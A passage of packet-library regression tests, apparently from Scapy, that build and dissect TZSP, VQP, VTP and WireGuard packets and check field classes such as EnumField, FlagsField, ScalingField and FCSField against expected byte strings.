frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ Raw(b'\xff\x0a\x01\x02\x03\x04\x05') frm = frm.build() frm = Ether(frm) frm.show() tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr raw_lyr = tzsp_lyr.payload assert type(raw_lyr) is Raw assert raw_lyr.load == b'\xff\x0a\x01\x02\x03\x04\x05' == handling of unknown tag - no payload after tag type bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = '1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ Raw(b'\xff') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr raw_lyr = tzsp_lyr.payload assert type(raw_lyr) is Raw assert raw_lyr.load == b'\xff' ================================================ FILE: test/contrib/vqp.uts ================================================ % VQP tests + Basic VQP tests = Build VQP pkt = UDP()/VQP(type=2, seq=15)/VQPEntry(datatype=3073,data="1.2.3.4")/VQPEntry(datatype=3078, data="AA:AA:AA:AA:AA:AA") assert bytes(pkt) == b'\x065\x065\x00&\x00\x00\x01\x02\x00\x02\x00\x00\x00\x0f\x00\x00\x0c\x01\x00\x04\x01\x02\x03\x04\x00\x00\x0c\x06\x00\x06\xaa\xaa\xaa\xaa\xaa\xaa' = Dissect VQP pkt = UDP(b'\x065\x065\x00&\x00\x00\x01\x02\x00\x02\x00\x00\x00\x0f\x00\x00\x0c\x01\x00\x04\x01\x02\x03\x04\x00\x00\x0c\x06\x00\x06\xaa\xaa\xaa\xaa\xaa\xaa') assert pkt[VQP].sprintf("%type%") == "responseVLAN" assert pkt.getlayer(VQPEntry, 1).len == 4 assert pkt.getlayer(VQPEntry, 1).sprintf("%datatype%") == "clientIPAddress" assert pkt.getlayer(VQPEntry, 2).len == 6 assert pkt.getlayer(VQPEntry, 2).sprintf("%datatype%") == "ReqMACAddress" ================================================ FILE: test/contrib/vtp.uts ================================================ # VP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('vtp')" -t test/contrib/vtp.uts + VTP = VTP, basic instantiation pkt = VTP(vlaninfo=[VTPVlanInfo()]) assert len(pkt) == 72 ================================================ FILE: test/contrib/wireguard.uts ================================================ % WireGuard tests # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('wireguard')" -t test/contrib/wireguard.uts + Build packets & dissect = Build and dissect Transport wgTransport = Wireguard()/WireguardTransport(receiver_index=1234, counter=1337, encrypted_encapsulated_packet=b"test123") assert bytes(wgTransport) == b'\x04\x00\x00\x00\xd2\x04\x00\x009\x05\x00\x00\x00\x00\x00\x00test123' wgTransport = Wireguard(b'\x04\x00\x00\x00\xe1\x10\x00\x00\x9a\x02\x00\x00\x00\x00\x00\x00test123') assert wgTransport.message_type == 4 assert wgTransport[WireguardTransport].receiver_index == 4321 assert wgTransport[WireguardTransport].counter == 666 assert wgTransport[WireguardTransport].encrypted_encapsulated_packet == b"test123" = Build and dissect Init wgInit = Wireguard()/WireguardInitiation(sender_index=12345, unencrypted_ephemeral=b"\xaf\xfe"*16, encrypted_static=b"lul", encrypted_timestamp=b"kukuk", mac1="\x01"*16, mac2="\x02"*16 ) assert bytes(wgInit) == b'\x01\x00\x00\x0090\x00\x00\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfelul\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00kukuk\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x01' * 16 + b'\x02' * 16 wgInit = Wireguard(b'\x01\x00\x00\x0090\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xffstatisch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00nixgibts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04') assert wgInit.message_type == 1 assert wgInit[WireguardInitiation].sender_index == 12345 assert wgInit[WireguardInitiation].unencrypted_ephemeral == b"\xff"*32 assert wgInit[WireguardInitiation].encrypted_static == b"statisch" + b"\x00" * 40 assert wgInit[WireguardInitiation].encrypted_timestamp == b"nixgibts" + b"\x00" * 20 assert wgInit[WireguardInitiation].mac1 == b"\x03" * 16 assert wgInit[WireguardInitiation].mac2 == b"\x04" * 16 = Build and dissect Response wgResp = Wireguard()/WireguardResponse(sender_index=12345, receiver_index=7878, unencrypted_ephemeral=b"\x41"*32, encrypted_nothing=b"empty", mac1=b"mac1", mac2=b"mac2" ) assert bytes(wgResp) == b'\x02\x00\x00\x0090\x00\x00\xc6\x1e\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAempty\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' wgResp = Wireguard(b'\x02\x00\x00\x00W\x04\x00\x00\xae\x08\x00\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBnotempty\x00\x00\x00\x00\x00\x00\x00\x00mac1lol\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2lol\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert wgResp.message_type == 2 assert wgResp[WireguardResponse].sender_index == 1111 assert wgResp[WireguardResponse].receiver_index == 2222 assert wgResp[WireguardResponse].unencrypted_ephemeral == b"B"*32 assert wgResp[WireguardResponse].encrypted_nothing == b"notempty" + b"\x00" * 8 assert wgResp[WireguardResponse].mac1 == b"mac1lol" + b"\x00" * 9 assert wgResp[WireguardResponse].mac2 == b"mac2lol" + b"\x00" * 9 = Build and dissect Cookie Response wgCookie = Wireguard()/WireguardCookieReply(receiver_index=3333, nonce=b"C"*24, encrypted_cookie=b"D"*16 + b"E"*16 ) assert bytes(wgCookie) == b'\x03\x00\x00\x00\x05\r\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEE' wgCookie = Wireguard(b'\x03\x00\x00\x00\xb8"\x00\x00KKKKKKKKKKKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLMMMMMMMMMMMMMMMM') assert wgCookie.message_type == 3 assert wgCookie[WireguardCookieReply].receiver_index == 8888 assert wgCookie[WireguardCookieReply].nonce == b"K"*24 assert wgCookie[WireguardCookieReply].encrypted_cookie == b"L" * 16 + b"M" * 16 ================================================ FILE: test/fields.uts ================================================ % Regression tests for Scapy regarding fields ############ ############ + Tests on basic fields #= Field class #~ core field #Field("foo", None, fmt="H").i2m(None,0xabcdef) #assert _ == b"\xcd\xef" #Field("foo", None, fmt="' assert rf.i2repr_one(None, RandNum(0, 10)) == '' assert lf.i2repr_one(None, RandNum(0, 10)) == '' assert fcb.i2repr_one(None, RandNum(0, 10)) == '' True = EnumField.i2repr ~ field enumfield assert f.i2repr(None, 0) == 'Foo' assert f.i2repr(None, 1) == 'Bar' assert f.i2repr(None, 2) == '2' assert f.i2repr(None, [0, 1]) == ['Foo', 'Bar'] assert rf.i2repr(None, 0) == 'Foo' assert rf.i2repr(None, 1) == 'Bar' assert rf.i2repr(None, 2) == '2' assert rf.i2repr(None, [0, 1]) == ['Foo', 'Bar'] assert lf.i2repr(None, 0) == 'Foo' assert lf.i2repr(None, 1) == 'Bar' assert lf.i2repr(None, 2) == '2' assert lf.i2repr(None, [0, 1]) == ['Foo', 'Bar'] assert fcb.i2repr(None, 0) == 'Foo' assert fcb.i2repr(None, 1) == 'Bar' assert fcb.i2repr(None, 5) == 'Bar' assert fcb.i2repr(None, 11) == repr(11) assert fcb.i2repr(None, [0, 1, 5, 11]) == ['Foo', 'Bar', 'Bar', repr(11)] conf.noenum.add(f, rf, lf, fcb) assert f.i2repr(None, 0) == repr(0) assert f.i2repr(None, 1) == repr(1) assert f.i2repr(None, 2) == repr(2) assert f.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)] assert rf.i2repr(None, 0) == repr(0) assert rf.i2repr(None, 1) == repr(1) assert rf.i2repr(None, 2) == repr(2) assert rf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)] assert lf.i2repr(None, 0) == repr(0) assert lf.i2repr(None, 1) == repr(1) assert lf.i2repr(None, 2) == repr(2) assert lf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)] assert fcb.i2repr(None, 0) == repr(0) assert fcb.i2repr(None, 1) == repr(1) assert fcb.i2repr(None, 5) == repr(5) assert fcb.i2repr(None, 11) == repr(11) assert fcb.i2repr(None, [0, 1, 5, 11]) == [repr(0), repr(1), repr(5), repr(11)] conf.noenum.remove(f, rf, lf, fcb) assert f.i2repr_one(None, RandNum(0, 10)) == '' assert rf.i2repr_one(None, RandNum(0, 10)) == '' assert lf.i2repr_one(None, RandNum(0, 10)) == '' assert fcb.i2repr_one(None, RandNum(0, 10)) == '' True = EnumField with Enum from enum import Enum class JUICE(Enum): APPLE = 0 ORANGE = 1 PINEAPPLE = 2 class Breakfast(Packet): fields_desc = [EnumField("juice", 1, JUICE, fmt="H")] assert raw(Breakfast(juice="ORANGE")) == b"\x00\x01" = LE3BytesEnumField ~ field le3bytesenumfield f = LE3BytesEnumField('test', 0, {0: 'Foo', 1: 'Bar'}) = LE3BytesEnumField.i2repr_one ~ field le3bytesenumfield assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 2) == '2' = XLE3BytesEnumField assert XLE3BytesEnumField("a", 0, {0: "test"}).i2repr_one(None, 0) == "test" assert XLE3BytesEnumField("a", 0, {0: "test"}).i2repr_one(None, 1) == "0x1" ############ ############ + CharEnumField tests = Building expect_exception handler ~ field charenumfield def expect_exception(e, c): try: eval(c) assert False except e: assert True = CharEnumField tests initialization ~ field charenumfield fc = CharEnumField('test', 'f', {'f': 'Foo', 'b': 'Bar'}) fcb = CharEnumField('test', 'a', ( lambda x: 'Foo' if x == 'a' else 'Bar' if x == 'b' else 'Baz', lambda x: 'a' if x == 'Foo' else 'b' if x == 'Bar' else '' )) True = CharEnumField.any2i_one ~ field charenumfield assert fc.any2i_one(None, 'Foo') == 'f' assert fc.any2i_one(None, 'Bar') == 'b' expect_exception(KeyError, 'fc.any2i_one(None, "Baz")') assert fcb.any2i_one(None, 'Foo') == 'a' assert fcb.any2i_one(None, 'Bar') == 'b' assert fcb.any2i_one(None, 'Baz') == '' True ############ ############ + XByteEnumField tests = Building expect_exception handler ~ field xbyteenumfield def expect_exception(e, c): try: eval(c) assert False except e: assert True = XByteEnumField tests initialization ~ field xbyteenumfield f = XByteEnumField('test', 0, {0: 'Foo', 1: 'Bar'}) fcb = XByteEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XByteEnumField.i2repr_one ~ field xbyteenumfield assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 0xff) == '0xff' True = XByteEnumField update tests initialization ~ field xbyteenumfield enum = ObservableDict({0: 'Foo', 1: 'Bar'}) f = XByteEnumField('test', 0, enum) fcb = XByteEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XByteEnumField.i2repr_one with update ~ field xbyteenumfield assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 2) == '0x2' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 2) == '0x2' assert f.i2repr_one(None, 0xff) == '0xff' del enum[1] enum[2] = 'Baz' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == '0x1' assert f.i2repr_one(None, 2) == 'Baz' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == '0x1' assert f.i2repr_one(None, 2) == 'Baz' assert f.i2repr_one(None, 0xff) == '0xff' True ############ ############ + XShortEnumField tests = Building expect_exception handler ~ field xshortenumfield def expect_exception(e, c): try: eval(c) assert False except e: assert True = XShortEnumField tests initialization ~ field xshortenumfield f = XShortEnumField('test', 0, {0: 'Foo', 1: 'Bar'}) fcb = XShortEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XShortEnumField.i2repr_one ~ field xshortenumfield assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 0xff) == '0xff' True = XShortEnumField update tests initialization ~ field xshortenumfield enum = ObservableDict({0: 'Foo', 1: 'Bar'}) f = XShortEnumField('test', 0, enum) fcb = XShortEnumField('test', 0, ( lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x), lambda x: x )) True = XShortEnumField.i2repr_one with update ~ field xshortenumfield assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 2) == '0x2' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == 'Bar' assert f.i2repr_one(None, 2) == '0x2' assert f.i2repr_one(None, 0xff) == '0xff' del enum[1] enum[2] = 'Baz' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == '0x1' assert f.i2repr_one(None, 2) == 'Baz' assert f.i2repr_one(None, 0xff) == '0xff' assert f.i2repr_one(None, 0) == 'Foo' assert f.i2repr_one(None, 1) == '0x1' assert f.i2repr_one(None, 2) == 'Baz' assert f.i2repr_one(None, 0xff) == '0xff' True ############ ############ + DNSStrField tests = Raise exception - test data dnsf = DNSStrField("test", "") assert dnsf.getfield(None, b"\x01x\x00") == (b"", b"x.") try: dnsf.getfield(None, b"\xc0\xff") assert False except (Scapy_Exception, IndexError): pass + YesNoByteField = default usage yn_bf = YesNoByteField('test', 0x00) assert yn_bf.i2repr(None, 0x00) == 'no' assert yn_bf.i2repr(None, 0x01) == 'yes' assert yn_bf.i2repr(None, 0x02) == 'yes' assert yn_bf.i2repr(None, 0xff) == 'yes' = inverted yes - no (scalar config) yn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': 0x01}) assert yn_bf.i2repr(None, 0x00) == 'yes' assert yn_bf.i2repr(None, 0x01) == 'no' assert yn_bf.i2repr(None, 0x02) == 2 assert yn_bf.i2repr(None, 0xff) == 255 = inverted yes - no (range config) yn_bf = YesNoByteField('test', 0x00, config={'yes': 0x00, 'no': (0x01, 0xff)}) assert yn_bf.i2repr(None, 0x00) == 'yes' assert yn_bf.i2repr(None, 0x01) == 'no' assert yn_bf.i2repr(None, 0x02) == 'no' assert yn_bf.i2repr(None, 0xff) == 'no' = yes - no (using sets) yn_bf = YesNoByteField('test', 0x00, config={'yes': [0x00, 0x02], 'no': [0x01, 0x04, 0xff]}) assert yn_bf.i2repr(None, 0x00) == 'yes' assert yn_bf.i2repr(None, 0x01) == 'no' assert yn_bf.i2repr(None, 0x02) == 'yes' assert yn_bf.i2repr(None, 0x03) == 3 assert yn_bf.i2repr(None, 0x04) == 'no' assert yn_bf.i2repr(None, 0x05) == 5 assert yn_bf.i2repr(None, 0xff) == 'no' = yes, no and invalid yn_bf = YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 0x01, 'invalid': (0x02, 0xff)}) assert yn_bf.i2repr(None, 0x00) == 'no' assert yn_bf.i2repr(None, 0x01) == 'yes' assert yn_bf.i2repr(None, 0x02) == 'invalid' assert yn_bf.i2repr(None, 0xff) == 'invalid' = invalid scalar spec try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': 256}) assert False except FieldValueRangeException: pass = invalid range spec - invalid length try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x02, 0x02)}) assert False except FieldAttributeException: pass = invalid range spec - invalid value try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x100, 0x01)}) assert False except FieldValueRangeException: pass try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': (0x00, 0x100)}) assert False except FieldValueRangeException: pass = invalid set spec - invalid value try: YesNoByteField('test', 0x00, config={'no': 0x00, 'yes': [0x01, 0x101]}) assert False except FieldValueRangeException: pass = FlasgField - Python incompatible name assert Dot11().FCfield.to_DS is False ######## ######## + MultipleTypeField ~ mtf = Test initialization order class DebugPacket(Packet): fields_desc = [ ByteEnumField("atyp", 0x1, {0x1: "IPv4", 0x3: "DNS", 0x4: "IPv6"}), MultipleTypeField( [ # IPv4 (IPField("addr", "0.0.0.0"), lambda pkt: pkt.atyp == 0x1), # DNS (DNSStrField("addr", ""), lambda pkt: pkt.atyp == 0x3), # IPv6 (IP6Field("addr", "::"), lambda pkt: pkt.atyp == 0x4), ], StrField("addr", "") ), ] = Default order a = DebugPacket(atyp=0x3, addr="scapy.net") a = DebugPacket(raw(a)) assert a.addr == b"scapy.net." = Reversed order a = DebugPacket(addr="scapy.net", atyp=0x3) a = DebugPacket(raw(a)) assert a.addr == b"scapy.net." = Test default values auto-update class SweetPacket(Packet): name = 'Sweet Celestian Packet' fields_desc = [ IntField('switch', 0), MultipleTypeField([ (XShortField('subfield', 0xDEAD), lambda pkt: pkt.switch == 1), (XIntField('subfield', 0xBEEFBEEF), lambda pkt: pkt.switch == 2)], XByteField('subfield', 0x88) ) ] o = SweetPacket() assert o.subfield == 0x88 o = SweetPacket(switch=1) assert o.subfield == 0xDEAD o = SweetPacket(switch=2) assert o.subfield == 0xBEEFBEEF o = SweetPacket() assert o.subfield == 0x88 o.switch = 1 assert o.subfield == 0xDEAD o.switch = 2 assert o.subfield == 0xBEEFBEEF o = SweetPacket(switch=1, subfield=0x88) assert o.subfield == 0x88 = MultipleTypeField - syntax error import warnings with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") class MTFPacket(Packet): fields_desc = [ByteField("a", 0), MultipleTypeField([ (ByteField("b", 0), lambda pkt: pkt.a == 0), (ShortField("not_b", 0), lambda: pkt.a != 0), ], IntField("b", 0))] assert len(w) == 1 assert issubclass(w[-1].category, SyntaxWarning) ######## ######## + FlagsField = Test Flags Field Iterator class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] = Test upper nibble a = FlagsTest(b"\xf0") flags = list(a.flags) assert len(flags) == 4 assert "f4" in flags assert "f5" in flags assert "f6" in flags assert "f7" in flags = Test lower nibble a = FlagsTest(b"\x0f") flags = list(a.flags) assert len(flags) == 4 assert "f3" in flags assert "f2" in flags assert "f1" in flags assert "f0" in flags = Test single flag 1 a = FlagsTest(b"\x01") flags = list(a.flags) assert len(flags) == 1 assert "f0" in flags = Test single flag 2 a = FlagsTest(b"\x02") flags = list(a.flags) assert len(flags) == 1 assert "f1" in flags = Test single flag 0x80 a = FlagsTest(b"\x80") flags = list(a.flags) assert len(flags) == 1 assert "f7" in flags = Test pattern 0x55 a = FlagsTest(b"\x55") flags = list(a.flags) assert len(flags) == 4 assert "f6" in flags assert "f2" in flags assert "f4" in flags assert "f0" in flags = Test pattern 0xAA a = FlagsTest(b"\xAA") flags = list(a.flags) assert len(flags) == 4 assert "f7" in flags assert "f3" in flags assert "f5" in flags assert "f1" in flags = Test pattern 0x00 a = FlagsTest(b"\x00") flags = list(a.flags) assert len(flags) == 0 = Test pattern 0xFF a = FlagsTest(b"\xFF") flags = list(a.flags) assert len(flags) == 8 assert "f7" in flags assert "f3" in flags assert "f5" in flags assert "f1" in flags assert "f6" in flags assert "f2" in flags assert "f4" in flags assert "f0" in flags = FlagsField with str class TCPTest(Packet): fields_desc = [ BitField("reserved", 0, 7), FlagsField("flags", 0x2, 9, "FSRPAUECN") ] a = TCPTest(flags=3) assert a.flags.F assert a.flags.S assert a.sprintf("%flags%") == "FS" = FlagsField with dict class FlagsTest2(Packet): fields_desc = [ FlagsField("flags", 0x2, 16, { 0x0001: "A", 0x0008: "B", 0x1000: "C", }) ] a = FlagsTest2(flags=9) a.sprintf("%flags%") assert a.flags.A assert a.flags.B assert a.sprintf("%flags%") == "A+B" b = FlagsTest2(flags="B+C") assert b.flags == 0x1000 | 0x0008 = Conditional FlagsField command class CondFlagsTest(Packet): fields_desc = [ ByteField("b", 0), ConditionalField(FlagsField("f", 0, 8, ""), lambda p: p.b == 0) ] p = CondFlagsTest(b"\x00\x0f") assert p == eval(p.command()) ######## ######## + ScalingField = ScalingField Test default behaviour class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0) ] x = DebugPacket() assert len(x) == 1 assert x.data == 0 x.data = 1 assert x.data == 1 = ScalingField Test string assignment class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1) ] x = DebugPacket() x.data = '\x01' assert x.data == 0.1 x.data = 2.0 assert x.data == 2.0 assert bytes(x) == b"\x14" x.data = b'\xff' assert x.data == 25.5 x.data = '\x7f' assert x.data == 12.7 = ScalingField Test scaling class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1) ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 x.data = 2.0 assert x.data == 2.0 assert bytes(x) == b"\x14" x.data = b'\xff' assert x.data == 25.5 = ScalingField Test scaling signed class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, fmt="b") ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 x.data = 12.7 assert x.data == 12.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == -12.8 x.data = -0.1 assert x.data == -0.1 assert bytes(x) == b"\xff" = ScalingField Test scaling signed offset class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-1, fmt="b") ] x = DebugPacket() x.data = b'\x01' assert x.data == -0.9 x.data = 11.7 assert x.data == 11.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == -13.8 x.data = -1.1 assert x.data == -1.1 assert bytes(x) == b"\xff" = ScalingField Test scaling offset class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-1) ] x = DebugPacket() x.data = b'\x01' assert x.data == -0.9 x.data = 11.7 assert x.data == 11.7 assert bytes(x) == b"\x7f" x.data = b'\x80' assert x.data == 11.8 x.data = 24.5 assert x.data == 24.5 assert bytes(x) == b"\xff" = ScalingField Test unit class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, unit="V") ] x = DebugPacket() x.data = b'\x01' assert x.data == 1 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '1 V' = ScalingField Test unit and ndigits class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=1) ] x = DebugPacket() x.data = b'\x01' assert x.data == 0.1 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.1 V' = ScalingField Test unit and ndigits 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=3) ] x = DebugPacket() x.data = b'\x01' print(x.__repr__()) assert x.data == 0.123 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.123 V' = ScalingField Test unit and ndigits 3 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.123456, unit="V", ndigits=5) ] x = DebugPacket() x.data = b'\x01' print(x.__repr__()) assert x.data == 0.12346 assert ScalingField.i2repr(x.fields_desc[0],x, x.data) == '0.12346 V' = ScalingField randval byte class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5) ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -5.0 assert r.max == 20.5 = ScalingField randval byte 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=-0.1, offset=-5) ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -30.5 assert r.max == -5 = ScalingField signed randval byte class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=-0.1, offset=-5, fmt="b") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -17.7 assert r.max == 7.8 = ScalingField signed randval byte 2 class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="b") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -17.8 assert r.max == 7.7 = ScalingField signed randval short class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="h") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -3281.8 assert r.max == 3271.7 = ScalingField signed randval int class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="i") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -214748369.8 assert r.max == 214748359.7 = ScalingField signed randval long class DebugPacket(Packet): fields_desc = [ ScalingField('data', 0, scaling=0.1, offset=-5, fmt="q") ] x = DebugPacket() r = x.fields_desc[0].randval() val = r._fix() assert r.min == -922337203685477585.8 assert r.max == 922337203685477575.7 = ScalingField signed randval long y = fuzz(x) assert bytes(y) != bytes(y) ############ ############ = LSBExtendedField * Test addfield and getfield f = LSBExtendedField("a", 0) assert f.addfield(None, b"", 1) == b"\x02" assert f.addfield(None, b"", 127) == b"\xfe" assert f.addfield(None, b"", 128) == b"\x01\x02" assert f.addfield(None, b"", 536) == b"1\x08" assert f.addfield(None, b"", 16383) == b"\xff\xfe" = MSBExtendedField * Test i2m and m2i f = MSBExtendedField("a", 0) assert f.addfield(None, b"", 1) == b"\x01" assert f.addfield(None, b"", 127) == b"\x7f" assert f.addfield(None, b"", 128) == b"\x80\x01" assert f.addfield(None, b"", 536) == b"\x98\x04" assert f.addfield(None, b"", 16383) == b"\xff\x7f" ############ ############ + Deprecated fields in Packet ~ deprecated = Field Deprecation test class TestPacket(Packet): fields_desc = [ ByteField("a", 0), LEShortField("b", 15), ] deprecated_fields = { "dpr": ("a", "1.0"), "B": ("b", "1.0"), } try: pkt = TestPacket(a=2, B=3) assert pkt.B == 3 assert pkt.b == 3 assert pkt.a == 2 import warnings with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") assert pkt.dpr == 2 assert len(w) == 1 assert issubclass(w[-1].category, DeprecationWarning) except DeprecationWarning: # -Werror is used pass ############ ############ + FCSField = FCSField: basic test class TestPacket(Packet): fields_desc = [ ByteField("a", 0), LEShortField("b", 15), LEIntField("c", 7), FCSField("fcs", None), IntField("bottom", 0) ] bind_layers(TestPacket, Ether) pkt = TestPacket(a=12, fcs=0xbeef, bottom=123)/Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="127.0.0.1", dst="127.0.0.1") assert raw(pkt) == b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xbe\xef' # Test that it is consistent assert raw(pkt) == b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xbe\xef' pkt = TestPacket(raw(pkt)) assert pkt.fcs == 0xbeef = FCSField: multiple class TestPacket2(Packet): fields_desc = [ ByteField("a", 0), LEShortField("b", 15), FCSField("fcs1", None), LEIntField("c", 7), FCSField("fcs2", None), IntField("bottom", 0), ] bind_layers(TestPacket2, Ether) pkt = TestPacket2(a=12, fcs1=0xbeef, fcs2=0xfeed, bottom=123)/Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="127.0.0.1", dst="127.0.0.1") assert raw(pkt) == 